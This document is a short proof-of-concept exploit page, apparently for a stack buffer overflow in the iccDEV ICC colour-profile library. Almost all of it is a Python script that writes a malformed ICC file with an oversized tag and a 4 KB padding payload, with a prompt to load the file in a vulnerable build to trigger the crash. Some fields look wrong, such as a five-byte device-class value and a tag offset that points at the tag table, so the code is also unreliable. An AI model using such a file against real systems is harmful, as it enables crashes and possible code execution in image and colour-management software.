CVE-2026-34542 iccDEV堆栈缓冲区溢出漏洞

# PoC for CVE-2026-34542 # Proof of concept to trigger stack-buffer-overflow in iccDEV import struct def generate_malformed_icc(filename): """ Generates a malformed ICC profile that attempts to trigger the overflow in CIccCalculatorFunc::Apply(). """ # Minimal ICC Header size = 0 cmm_type = b'acsp' version = struct.pack('>I', 0x02000000) device_class = b'scnr ' color_space = b'RGB ' pcs = b'XYZ ' date = b'\x00' * 12 magic = b'acsp' platform = b'APPL' flags = struct.pack('>I', 0) manufacturer = struct.pack('>I', 0) model = struct.pack('>I', 0) attributes = struct.pack('>Q', 0) intent = struct.pack('>I', 0) illuminant = struct.pack('>III', 0, 0, 0) # Simplified creator = struct.pack('>I', 0) header = (struct.pack('>I', 0) + # Placeholder for size cmm_type + version + device_class + color_space + pcs + date + magic + platform + flags + manufacturer + model + attributes + intent + illuminant + creator + b'\x00' * 44) # Tag table entry pointing to malicious data # Tag signature: 'mctr' (Multi Process Elements or similar) tag_sig = struct.pack('>I', 0x6D637472) tag_offset = struct.pack('>I', len(header) + 4) # Point after tag count tag_size = struct.pack('>I', 0x1000) # Large size to cause overflow tag_count = struct.pack('>I', 1) # Malicious payload intended to overflow the stack payload = b'A' * 0x1000 # Calculate total size total_size = len(header) + 4 + 12 + len(payload) header = struct.pack('>I', total_size) + header[4:] with open(filename, 'wb') as f: f.write(header) f.write(tag_count) f.write(tag_sig + tag_offset + tag_size) f.write(payload) if __name__ == "__main__": generate_malformed_icc('cve-2026-34542.icc') print("[+] Malformed ICC profile generated: cve-2026-34542.icc") print("[+] Load this file with a vulnerable version of iccDEV to trigger the crash.")